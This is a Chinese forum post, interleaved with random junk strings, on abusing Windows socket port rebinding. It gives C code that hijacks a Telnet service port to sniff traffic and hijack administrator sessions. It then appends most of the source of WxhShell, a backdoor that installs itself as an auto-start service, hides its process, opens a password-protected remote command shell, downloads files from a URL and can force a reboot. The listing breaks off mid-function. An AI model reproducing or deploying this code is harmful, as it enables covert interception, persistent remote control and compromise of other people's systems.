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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +`@)87O  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L `7~~  
,g2oqq ?  
  saddr.sin_family = AF_INET; |~6X: M61  
N*dO'ol  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cqr4P`Oj  
Q@7-UIV|q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4{[cXM8*j  
8SG*7[T7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  3,7SGt r  
aN87^[  
  这意味着什么?意味着可以进行如下的攻击: !jV}sp<Xp  
RsY7F;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `#X\@?'5  
"F,d}3}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (k@%04c  
w]BZgF.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b IS 3  
h^u 9W7.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p@/i e@DX  
.x 1&   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o0f{ePZ=  
3EM=6\#q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `ViFY   
n+C,v.X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 LLa72HW  
K):MT[/"  
  #include SBj9sFZ  
  #include U\_-GS;1  
  #include Tug}P K   
  #include    H;&^A5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   DOr()X  
  int main() '+!@c&d#%o  
  { YW|KkHi*  
  WORD wVersionRequested; "IK QFt'  
  DWORD ret; {"cS:u  
  WSADATA wsaData; kt.y"^  
  BOOL val; "y%S.ipWG  
  SOCKADDR_IN saddr; 4 Ar\`{c>  
  SOCKADDR_IN scaddr; $LS$:%i4  
  int err; 3#d5.Ut  
  SOCKET s; INm21MS$  
  SOCKET sc; Nb))_+/  
  int caddsize; LI>tN R~  
  HANDLE mt; MZpG1  
  DWORD tid;   ERql^Yr  
  wVersionRequested = MAKEWORD( 2, 2 ); qqm7p ,j  
  err = WSAStartup( wVersionRequested, &wsaData ); mOLP77(o  
  if ( err != 0 ) { Cst:5m0!  
  printf("error!WSAStartup failed!\n"); t+R8{9L-  
  return -1; -Qs4 s  
  } RJ#xq#l  
  saddr.sin_family = AF_INET; \= M*x  
   +) pO82  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qRD]Q  
^Fy{Q*p`(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Qx9lcO_  
  saddr.sin_port = htons(23); a0vg%Z@!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8s,B,s.  
  { V b=Oz  
  printf("error!socket failed!\n"); YS}uJ&WoF  
  return -1; H.8f-c-4we  
  } JN{.-k4Ha  
  val = TRUE; l8"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NH?q/4=I0W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f0 ;Fokt(  
  { yQ33JQr  
  printf("error!setsockopt failed!\n"); a88(,:t  
  return -1; 3NEbCILF  
  } -y8?"WB(b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :R/szE*Ak  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 63ig!-9F  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kIHfLwh9N  
YTiXU Oj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bt=%DMTn  
  { hf2Q;n&V  
  ret=GetLastError(); .t/XW++  
  printf("error!bind failed!\n"); Ms^U`P^V~P  
  return -1; |Rh%wJ  
  } *vx!twu1o  
  listen(s,2); we<m%pf  
  while(1) +="?[:  
  { Iz'*^{Ssm  
  caddsize = sizeof(scaddr); ])dq4\Bw  
  //接受连接请求 Up61Xn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =WaZy>n}7  
  if(sc!=INVALID_SOCKET) hpftVEB  
  { 5jj<sj!S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dtK[H+  
  if(mt==NULL) pi>,>-Z  
  { (T1)7%Xs  
  printf("Thread Creat Failed!\n"); '\I.P  
  break; ,a N8`M  
  } ;&|MNN^  
  } gZ!vRO <%  
  CloseHandle(mt); ;~&F}!pQ  
  } K{]!hm,[3  
  closesocket(s); LY}9$1G]  
  WSACleanup(); g\ r%A  
  return 0; }L.xt88  
  }   LwpO_/qV  
  DWORD WINAPI ClientThread(LPVOID lpParam) (#Vkk]-p  
  { .OLm{  
  SOCKET ss = (SOCKET)lpParam; ar-N4+!@  
  SOCKET sc; /D]?+<h1  
  unsigned char buf[4096]; _]SV@q^  
  SOCKADDR_IN saddr; _f9XY  
  long num; KrcL*j&^  
  DWORD val; +{Qk9Z  
  DWORD ret; W^}fAcQKH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ZzU3j^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d!+8  
  saddr.sin_family = AF_INET; [P5+}@t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c/fU0cA@  
  saddr.sin_port = htons(23); 2s(c#$JVS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dLV>FpA\  
  { 5PY,}1`  
  printf("error!socket failed!\n"); 0n5{Wr$  
  return -1; B}Q.Is5  
  } @dl{ .,J  
  val = 100; _9%R U"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uJQ#l\t  
  { s-V5\Lip,  
  ret = GetLastError(); u:~2:3B  
  return -1; RAw/Q$I  
  } ~x:\xQti  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *]<M%q!<6  
  { muMb pF  
  ret = GetLastError(); D%L}vugxK  
  return -1; *v+xKy#M  
  } ]L/h,bVI1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) huj 6Ysr  
  { 9i hB;m'C)  
  printf("error!socket connect failed!\n"); H_*;7/&  
  closesocket(sc); JI TQ3UL:W  
  closesocket(ss); clE_a?  
  return -1; rkdf htpI  
  } 1P (5+9"s  
  while(1) W_ w^"'  
  { $a'n{EP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OEz'&))J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R>BZQugZ~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dso6ZRx  
  num = recv(ss,buf,4096,0); cg16|  
  if(num>0) J2rw4L  
  send(sc,buf,num,0); JmHEYPt0  
  else if(num==0) (/x%zmY;/U  
  break; nE_g^  
  num = recv(sc,buf,4096,0); u4 ##*m  
  if(num>0) U^ bF}4m  
  send(ss,buf,num,0); %Vf3r9 z  
  else if(num==0) @'go?E)f  
  break; 99GzhX_  
  } zcF`Z {&+  
  closesocket(ss); 6[r-8_  
  closesocket(sc); x+?P/Ckg  
  return 0 ; Q-scL>IkCb  
  } $ {Y? jJ  
tOQ2947zk  
dMo456L  
========================================================== A .]o&S}  
CC?L~/gPN  
下边附上一个代码,,WXhSHELL {s]yP_  
${(c `X  
========================================================== k!9LJ%Xh  
AoL2Wrk]\B  
#include "stdafx.h" +M@,CbqD  
H0!W:cIS;l  
#include <stdio.h> ]yc&ffe%  
#include <string.h> ="~yD[S  
#include <windows.h> teRK#: .P  
#include <winsock2.h> dvPK5+0W?  
#include <winsvc.h> 2n/cq K   
#include <urlmon.h> @xKfqKoqg  
7w}PYp1Z'~  
#pragma comment (lib, "Ws2_32.lib") }6U`/"RfcO  
#pragma comment (lib, "urlmon.lib") zk\YW'x|r  
dRl*rP/  
#define MAX_USER   100 // 最大客户端连接数 Wt$" f  
#define BUF_SOCK   200 // sock buffer WA~PE` U  
#define KEY_BUFF   255 // 输入 buffer ^oykimYI-  
~353x%e'  
#define REBOOT     0   // 重启 Qn=#KS8=J  
#define SHUTDOWN   1   // 关机 jv8diQ.  
Y~FN` =O  
#define DEF_PORT   5000 // 监听端口 L?aaR %6#  
]@Gw$  
#define REG_LEN     16   // 注册表键长度 O r {9?;G  
#define SVC_LEN     80   // NT服务名长度 #3fS_;G  
MST\_s%[  
// 从dll定义API %Z:07|57I[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u\)2/~<]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,CGq_>Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9E@}@ZV(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /w5~ O:  
#Cj$;q{!  
// wxhshell配置信息 {*#}"/:8K  
struct WSCFG { >gj%q$@  
  int ws_port;         // 监听端口 AeQIsrAHE  
  char ws_passstr[REG_LEN]; // 口令 Ptj,9bf<\  
  int ws_autoins;       // 安装标记, 1=yes 0=no w+^z{3>  
  char ws_regname[REG_LEN]; // 注册表键名 WUEjWJA-MB  
  char ws_svcname[REG_LEN]; // 服务名 fga{ b7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p\>im+0oh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a$}n4p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Bu%TTbnz_G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )/32sz]~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dfU z{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Iu3*`H  
Cob<N'.  
}; #b^x!lR  
7v{X?86&  
// default Wxhshell configuration am+'j5`Ys  
struct WSCFG wscfg={DEF_PORT, N:4oVi@Je  
    "xuhuanlingzhe", HB/q v IzB  
    1, XGs d"UW  
    "Wxhshell", ZxvqLu  
    "Wxhshell", [,@gSb|D?  
            "WxhShell Service", 3#d?  
    "Wrsky Windows CmdShell Service", '[T#d!T  
    "Please Input Your Password: ", aDDs"DXx  
  1, +{eZ@  
  "http://www.wrsky.com/wxhshell.exe", mN!5JZ' 2  
  "Wxhshell.exe" KNI* :  
    }; @Czj] t`  
.aA 8'/  
// 消息定义模块 ~7kIe+V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vt(A?$j|A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,JL Y oE+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E#5$O2b#  
char *msg_ws_ext="\n\rExit."; [@"7qKd1  
char *msg_ws_end="\n\rQuit.";  4E"OD+  
char *msg_ws_boot="\n\rReboot..."; J|'e.1v  
char *msg_ws_poff="\n\rShutdown..."; bwr}Ge  
char *msg_ws_down="\n\rSave to "; J)148/  
Ke 5fe#  
char *msg_ws_err="\n\rErr!"; Q')0 T>F-  
char *msg_ws_ok="\n\rOK!"; -5&|"YYjr{  
{9/ayG[98  
char ExeFile[MAX_PATH]; U\<8}+x  
int nUser = 0; Boi?Bt  
HANDLE handles[MAX_USER]; %T_4n^beFQ  
int OsIsNt; u'm[wjCj c  
?E6*Ef  
SERVICE_STATUS       serviceStatus; WNE=|z#|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \[!k`6#t7  
yjq~O~  
// 函数声明 !awsQ!e|  
int Install(void); 65@,FDg*i  
int Uninstall(void); sF+mfoMtG  
int DownloadFile(char *sURL, SOCKET wsh); KRL9dD,&  
int Boot(int flag); SK>*tKY  
void HideProc(void); Y[\ZN  
int GetOsVer(void); eM>f#M  
int Wxhshell(SOCKET wsl); v?9  
void TalkWithClient(void *cs); Q\!0V@$  
int CmdShell(SOCKET sock); @D'NoA@1A  
int StartFromService(void); c~bTK" u  
int StartWxhshell(LPSTR lpCmdLine); =}8:zO 2'{  
;X9nYH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]jkaOj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t 7(#Cuv-  
O<H5W|cM  
// 数据结构和表定义 <<ze84 E  
SERVICE_TABLE_ENTRY DispatchTable[] = SccaX P  
{ [|:kS  
{wscfg.ws_svcname, NTServiceMain}, *j`{ K  
{NULL, NULL} DbL=2  
}; qMHI-h_A  
z. 6-D  
// 自我安装 #RyX}t X,  
int Install(void) jRhOo% p  
{ gM5`UH|  
  char svExeFile[MAX_PATH]; e 1 yvvi  
  HKEY key; mvCH$}w8&  
  strcpy(svExeFile,ExeFile); "1#piJ  
K]<49`MX  
// 如果是win9x系统,修改注册表设为自启动 t9!8Bh<  
if(!OsIsNt) { *h H\H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Dn"<-9:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5Az4<  
  RegCloseKey(key); (|*CVI;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7I_1Lnnf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,[Bv\4Ah  
  RegCloseKey(key); Bq20U:f  
  return 0; A-8[8J  
    } Z0(}doh  
  } T&/ ]|4  
} j$he5^GC  
else { ;QiSz=DyA  
iaq+#k@V  
// 如果是NT以上系统,安装为系统服务 |KC!6<}T~9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Pd~{XM,yfW  
if (schSCManager!=0) ?xb4y=P7  
{ Jxq;Uu9  
  SC_HANDLE schService = CreateService sXpA^pT"T  
  ( 65~X!90k  
  schSCManager, $v6`5;#u  
  wscfg.ws_svcname, X=W.{?  
  wscfg.ws_svcdisp, #cZ<[K q6  
  SERVICE_ALL_ACCESS, [5iBXOmpS=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  /uyZ[=5  
  SERVICE_AUTO_START, 2brxV'tk  
  SERVICE_ERROR_NORMAL, |#)S`Ua1  
  svExeFile, {FrcpcrQa  
  NULL, %]iDhXLr  
  NULL, $4&%<'l3I  
  NULL, c(R=f +  
  NULL,   OH*  
  NULL (PM!{u=  
  ); HZ+l){u  
  if (schService!=0) -/7[\S  
  { ?Ji nX'z  
  CloseServiceHandle(schService); qi&;2Yv  
  CloseServiceHandle(schSCManager); C.& R,$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @gn}J'  
  strcat(svExeFile,wscfg.ws_svcname); d7*fP S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Rl%?c5U/$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y\M Kd[G7  
  RegCloseKey(key); P>i!f!o*I  
  return 0; %#zqZ|q  
    } \d,wcL  
  } A%zX LV=3O  
  CloseServiceHandle(schSCManager); f\{ynC2m  
} 3T|xUY)G4  
} 5g$]ou  
k^Gf2%k  
return 1; RTJ\|#w  
} ):c)$$dn  
9Sy|:J0  
// 自我卸载 (sfy14>\  
int Uninstall(void) vpoYb  
{ V*C%r:5 ,v  
  HKEY key; }C<<l5/ z  
!I8m(axW  
if(!OsIsNt) { 1h[xVvo<L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SFiK_;  
  RegDeleteValue(key,wscfg.ws_regname); 8(b C.  
  RegCloseKey(key); 0?{Y6:d+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qSg=[7XOO  
  RegDeleteValue(key,wscfg.ws_regname); 4dgo*9  
  RegCloseKey(key); EJz?GM  
  return 0; T|L_ +(M{  
  } 9r efv  
} DMcH, _(  
} k-zkb2  
else { ],3#[n[ m  
C;EC4n+s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $ncJc  
if (schSCManager!=0) W{v{sQg  
{ s[}4Q|s%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lQ]8PR t8  
  if (schService!=0) K!\$MBI  
  { V?0Yzg$sy  
  if(DeleteService(schService)!=0) { }=fVO<R v  
  CloseServiceHandle(schService); Wt,t5  
  CloseServiceHandle(schSCManager); #AN]mH  
  return 0; jk\04k  
  } NO%x 2dx0  
  CloseServiceHandle(schService); ?}tWI7KI  
  } L6ifT`;T  
  CloseServiceHandle(schSCManager); z^etH/]Sy  
} xeGl}q|  
} (z:DTe  
;L{#TC(]J]  
return 1; EW:tb-%`  
} Wj}PtQ%lp/  
\uUd *  
// 从指定url下载文件 |RA|nu   
int DownloadFile(char *sURL, SOCKET wsh) &-h z&/A,  
{ >B~vE2^tQ~  
  HRESULT hr; ?: XY3!{  
char seps[]= "/"; A@o:mZ+XN(  
char *token; @7fx0I'n  
char *file; f-BEfC,}'  
char myURL[MAX_PATH]; UgBD| ~zu  
char myFILE[MAX_PATH]; @_L:W1[  
wyVQV8+&>  
strcpy(myURL,sURL); RY4b <i3  
  token=strtok(myURL,seps); &W|r P(  
  while(token!=NULL) 6iZ:0y0t+6  
  { ,e{|[k  
    file=token; A$a>=U|Z8  
  token=strtok(NULL,seps); Q6e;hl  
  } NF0=t}e  
v1m'p:7uGB  
GetCurrentDirectory(MAX_PATH,myFILE); w9c^IS  
strcat(myFILE, "\\"); 97]$*&fH  
strcat(myFILE, file); {$ (X,E  
  send(wsh,myFILE,strlen(myFILE),0); n-5@<y^  
send(wsh,"...",3,0); rZt7C(FM$7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -{=c T?"+  
  if(hr==S_OK) e+? -#  
return 0; W bP wO  
else .R<Ke\y/  
return 1; 5e|2b] f$  
u[>hs \3k  
} ]-D&/88``  
5YW.s   
// 系统电源模块 YO3$I!(  
int Boot(int flag) @TWtM#  
{ [Dv6z t>  
  HANDLE hToken; %{sL/H_  
  TOKEN_PRIVILEGES tkp; jr=>L:  
(oiF05n h  
  if(OsIsNt) { i=ztWKwKf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t]QGyW A]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,];4+&|8kW  
    tkp.PrivilegeCount = 1; F-g7*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -2`D(xC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '(4#He?Gd  
if(flag==REBOOT) { D{J+}*y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -j<g}IG  
  return 0; }p <p(  
} +I9+L6>UR  
else { i,h)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eLd7|*|  
  return 0; ,O;+fhUJ(  
} ^UJ#YRzi  
  } `"#0\Wh  
  else { zq?Iwyo  
if(flag==REBOOT) { w{HDCPuS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NETji:d  
  return 0; (K}Md~  
} qOi3`6LCV  
else { } XJZw|n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \i +=tGY  
  return 0; Mb2rHUr  
} J(s%"d  
} ~:|qdv%\  
u>cU*E4/  
return 1; ^9ZW }AAO  
} 3o>.Z;  
J6s55 v  
// win9x进程隐藏模块 potb6jc?  
void HideProc(void) POouO/r$  
{ `B4Px|3  
x9Qa.Jmj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #3L=\j[ y  
  if ( hKernel != NULL ) }"{NW!RfP  
  { UhX`BGpM{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ti)4J2c,8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rf%NfU  
    FreeLibrary(hKernel); v.aSf`K  
  } m&h5u,  
@Qa)@'u  
return; 5X'com?T  
} 2qY+-yOEt  
\qU.?V[2  
// 获取操作系统版本 =h"*1`  
int GetOsVer(void) Mv O!p  
{ L,QAE)S'a  
  OSVERSIONINFO winfo; Q%AD6G(7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lYz$~/sd  
  GetVersionEx(&winfo); aJ"Tt>Y[.~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BU|bo")  
  return 1; `T;M=S^y*E  
  else ?D^l&`S  
  return 0; }g?9 /)z  
} wJb\Q  
A^a9,T  
// 客户端句柄模块 1Xv- e8M  
int Wxhshell(SOCKET wsl) xP1`FSO8=  
{ #&hu-gMV  
  SOCKET wsh; ;zbF~5e  
  struct sockaddr_in client; F>F&+63Q-  
  DWORD myID; f17pwJ~=  
N8Mq0Ck{$  
  while(nUser<MAX_USER) %mda=%Yn  
{ x7s75  
  int nSize=sizeof(client); $jDp ^ -  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  ?2g\y@  
  if(wsh==INVALID_SOCKET) return 1; !7:~"kk  
n-cz xq%n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xu1tN9:oE  
if(handles[nUser]==0) h.\9a3B:r  
  closesocket(wsh); x{B%TM-Ey  
else ">? y\#O A  
  nUser++; -9 AI@^q  
  } T]5JsrT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ye9-%~sjX  
$X%w9l e  
  return 0; 415 95x:  
} Jk.Ec )w  
xY/ S;dE  
// 关闭 socket U 9?!|h;7  
void CloseIt(SOCKET wsh) \mt0mv;c  
{ }b#KV?xgW  
closesocket(wsh); FuYV}C  
nUser--; R ks3L  
ExitThread(0); h4xRRyK  
} C?FUc cI  
#eqy!QdePf  
// 客户端请求句柄 k^pf)*p  
void TalkWithClient(void *cs) =9oN#4mWK  
{ s -Mzl?o  
Dl3Df u8  
  SOCKET wsh=(SOCKET)cs; ~6nq$(#  
  char pwd[SVC_LEN]; ]i=\5FH e  
  char cmd[KEY_BUFF]; kpkN GQ2  
char chr[1]; az(u=}  
int i,j; <%(nF+rQA"  
F:8cd^d~u  
  while (nUser < MAX_USER) { &}1PH% 6  
(aX5VB**  
if(wscfg.ws_passstr) { ]JeA29   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lW,rzJ1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i%+p\eeq*  
  //ZeroMemory(pwd,KEY_BUFF); y@|gG&f T  
      i=0; NhxTSyT"t  
  while(i<SVC_LEN) { H\f.a R=  
e1dT~l  
  // 设置超时 5o~;0K]  
  fd_set FdRead; Ksq{=q-T  
  struct timeval TimeOut; dpO ZqhRs.  
  FD_ZERO(&FdRead); io]e]m%  
  FD_SET(wsh,&FdRead); -vXX u;frt  
  TimeOut.tv_sec=8; F3\'WQh  
  TimeOut.tv_usec=0; Tsez&R$k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *8zn\No<,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7W[}7Y   
oEE*H2l\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !\a'GO[  
  pwd=chr[0]; 9HlRf6S  
  if(chr[0]==0xd || chr[0]==0xa) { ,y[wS5li  
  pwd=0; +8FlDiP  
  break; s|U=_,.  
  } 21$YZlhJ  
  i++; ,X&lVv#  
    } 9=D\xBd|w  
`e t0i.  
  // 如果是非法用户,关闭 socket P9/5M4]tt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /q4<ZS#  
} z?HP%g'M~  
D>u1ngu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *dn~-W.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \N\Jny  
DiyviH  
while(1) { +$:bzo_u  
!"2nL%PW~  
  ZeroMemory(cmd,KEY_BUFF); #h@/~xr  
R 2uo ZA,  
      // 自动支持客户端 telnet标准   !3{> F"  
  j=0; C>q,c3s5  
  while(j<KEY_BUFF) { V:rq}F}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); **V^8'W<  
  cmd[j]=chr[0]; ">}l8MA  
  if(chr[0]==0xa || chr[0]==0xd) { y K~;LV  
  cmd[j]=0; a%"My;8  
  break; G J=<~S"  
  } !5Ko^:+Y  
  j++; W8Z&J18AU  
    } XV+s 5 C  
'~{^c}  
  // 下载文件 H gMLh*  
  if(strstr(cmd,"http://")) { +53 Tf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LB_y lfg  
  if(DownloadFile(cmd,wsh)) }qlU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'dYjbQ}~;  
  else ,v$gWA!l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i DV.L  
  } , ;L  
  else { k=2]@K$%  
*hVW >{a  
    switch(cmd[0]) { l BS!=/7  
  .'C$w1[w  
  // 帮助 &Avd  
  case '?': { W$7db%qFx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ID" '`DKxe  
    break; pOlo_na}[  
  } ~9JU_R^%m  
  // 安装 6D,xs}j1  
  case 'i': { r3oAP[+n  
    if(Install()) Qi' ,[Xmf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3A%/H`  
    else `#&pB0.y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cg$@x\fJ  
    break; `Q V}je  
    } h_ef@ZwSw  
  // 卸载 L-\-wXg%  
  case 'r': { 0x!XE|7I  
    if(Uninstall()) Yhl {'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Xgf=yG:M  
    else rK W<kQT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AAjsb<P  
    break; 6'UtB!gr  
    } l/,O9ur-  
  // 显示 wxhshell 所在路径 U`_(Lq%5W  
  case 'p': { N!>Gg|@~  
    char svExeFile[MAX_PATH]; F23/|q{{  
    strcpy(svExeFile,"\n\r"); ooY2"\o  
      strcat(svExeFile,ExeFile); Tx%6whd/'  
        send(wsh,svExeFile,strlen(svExeFile),0); h% BA,C  
    break; F|q-ZlpW-  
    } hc}d S$=C  
  // 重启 vh3Xd\N  
  case 'b': { 7q*L-Xe]k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f>i6f@  
    if(Boot(REBOOT)) (SV(L~ T_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  *r Y6  
    else { @EH:4~  
    closesocket(wsh); @^oOXc,r$  
    ExitThread(0); ^~Nz8PCY  
    } ^D8 YF  
    break; Mp*")N,  
    } rMIr&T  
  // 关机 ,@ A1eX}  
  case 'd': { }:C4T*|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8`Fo^c=j  
